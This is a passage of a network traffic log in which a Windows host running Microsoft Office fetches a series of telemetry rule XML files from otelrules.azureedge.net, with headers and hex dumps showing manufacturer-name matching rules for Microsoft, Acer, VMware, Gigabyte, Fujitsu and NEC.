encoding="utf-8"?><R Id="120616" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
13	192.168.2.6	49723	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-14 16:24:18 UTC	192	OUT	GET /rules/rule120617v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-14 16:24:18 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 14 Nov 2024 16:24:18 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:02 GMT ETag: "0x8DC582BA310DA18" x-ms-request-id: 06b39b0e-901e-00a0-53a2-346a6d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241114T162418Z-1749fc9bdbdgs9sshC1DFWt6ws00000002s000000000u0hb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-14 16:24:18 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120617" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo][Ss][Oo][Ff][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
14	192.168.2.6	49724	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-14 16:24:18 UTC	192	OUT	GET /rules/rule120618v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-14 16:24:18 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 14 Nov 2024 16:24:18 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:30 GMT ETag: "0x8DC582B9018290B" x-ms-request-id: a5c30855-701e-0050-65a2-346767000000 x-ms-version: 2018-03-28 x-azure-ref: 20241114T162418Z-1749fc9bdbdns7kfhC1DFWb6c400000002wg000000008uw9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-14 16:24:18 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120618" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
15	192.168.2.6	49725	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-14 16:24:18 UTC	192	OUT	GET /rules/rule120619v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-14 16:24:18 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 14 Nov 2024 16:24:18 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:41 GMT ETag: "0x8DC582B9698189B" x-ms-request-id: 636fa6f6-501e-0078-3aa7-3406cf000000 x-ms-version: 2018-03-28 x-azure-ref: 20241114T162418Z-r178fb8d7654njfdhC1DFWd04800000002qg00000000e4g4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-14 16:24:18 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 43 63 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120619" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <SR T="2" R="([Aa][Cc][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
16	192.168.2.6	49726	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-14 16:24:19 UTC	192	OUT	GET /rules/rule120620v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-14 16:24:19 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 14 Nov 2024 16:24:19 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA701121" x-ms-request-id: 99102dbc-c01e-0066-43c1-2ca1ec000000 x-ms-version: 2018-03-28 x-azure-ref: 20241114T162419Z-16547b76f7f9bs6dhC1DFWt3rg0000000kwg00000000aah3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-14 16:24:19 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120620" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
17	192.168.2.6	49727	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-14 16:24:19 UTC	192	OUT	GET /rules/rule120621v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-14 16:24:19 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 14 Nov 2024 16:24:19 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA41997E3" x-ms-request-id: 08770de9-601e-0002-31a7-36a786000000 x-ms-version: 2018-03-28 x-azure-ref: 20241114T162419Z-16547b76f7fx6rhxhC1DFW76kg0000000kvg00000000emvx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-14 16:24:19 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 56 76 5d 5b 4d 6d 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120621" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <SR T="2" R="([Vv][Mm][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.2.6	49728	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-14 16:24:19 UTC	192	OUT	GET /rules/rule120622v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-14 16:24:19 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 14 Nov 2024 16:24:19 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8CEAC16" x-ms-request-id: e7ade7f6-801e-00a0-1ef7-352196000000 x-ms-version: 2018-03-28 x-azure-ref: 20241114T162419Z-1749fc9bdbd85qw2hC1DFW157000000002ug00000000kn1q x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-14 16:24:19 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120622" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
19	192.168.2.6	49729	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-14 16:24:19 UTC	192	OUT	GET /rules/rule120623v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-14 16:24:19 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 14 Nov 2024 16:24:19 GMT Content-Type: text/xml Content-Length: 464 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97FB6C3C" x-ms-request-id: 63ea3643-901e-0015-3101-2db284000000 x-ms-version: 2018-03-28 x-azure-ref: 20241114T162419Z-16547b76f7f22sh5hC1DFWyb4w0000000kr000000000t4p3 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-14 16:24:19 UTC	464	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 49 69 5d 5b 47 67 5d 5b 41 61 5d 5b 42 62 5d 5b 59 79 5d 5b 54 74 5d 5b 45 65 5d 20 5b 54 74 5d 5b 45 65 5d 5b 43 63 5d 5b 48 68 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 47 67 5d 5b 59 79 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120623" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <SR T="2" R="([Gg][Ii][Gg][Aa][Bb][Yy][Tt][Ee] [Tt][Ee][Cc][Hh][Nn][Oo][Ll][Oo][Gg][Yy])"> <S T="1" F="1" M="Ignor

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.2.6	49730	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-14 16:24:19 UTC	192	OUT	GET /rules/rule120624v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-14 16:24:19 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 14 Nov 2024 16:24:19 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB7010D66" x-ms-request-id: 94736f86-d01e-0082-21a1-34e489000000 x-ms-version: 2018-03-28 x-azure-ref: 20241114T162419Z-r178fb8d765w8fzdhC1DFW8ep400000002p000000000nhe2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-14 16:24:19 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120624" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.6	49731	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-14 16:24:20 UTC	192	OUT	GET /rules/rule120625v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-14 16:24:20 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 14 Nov 2024 16:24:20 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:42 GMT ETag: "0x8DC582B9748630E" x-ms-request-id: 5dc315bb-301e-0096-66a5-34e71d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241114T162420Z-1749fc9bdbdjgplnhC1DFWhrks00000002r0000000004pah x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-14 16:24:20 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 46 66 5d 5b 55 75 5d 5b 4a 6a 5d 5b 49 69 5d 5b 54 74 5d 5b 53 73 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120625" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <SR T="2" R="([Ff][Uu][Jj][Ii][Tt][Ss][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.6	49732	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-14 16:24:20 UTC	192	OUT	GET /rules/rule120626v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-14 16:24:20 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 14 Nov 2024 16:24:20 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DACDF62" x-ms-request-id: 849cffad-401e-008c-4c40-3686c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241114T162420Z-16547b76f7fkj7j4hC1DFW0a9g0000000ky0000000004450 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-14 16:24:20 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120626" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.6	49733	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-14 16:24:20 UTC	192	OUT	GET /rules/rule120627v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-14 16:24:20 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 14 Nov 2024 16:24:20 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:54 GMT ETag: "0x8DC582B9E8EE0F3" x-ms-request-id: 41a7f78c-b01e-0097-2b78-354f33000000 x-ms-version: 2018-03-28 x-azure-ref: 20241114T162420Z-r178fb8d765z89v7hC1DFW0kvw00000002h000000000u6uu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-14 16:24:20 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4e 6e 5d 5b 45 65 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120627" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <SR T="2" R="^([Nn][Ee][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.6	49734	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-14 16:24:20 UTC	192	OUT	GET /rules/rule120628v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-14 16:24:20 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 14 Nov 2024 16:24:20 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C8E04C8" x-ms-request-id: 75018b07-801e-00a0-22a6-342196000000 x-ms-version: 2018-03-28 x-azure-ref: 20241114T162420Z-1749fc9bdbdjjp8thC1DFWye6g00000002tg000000003ahx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
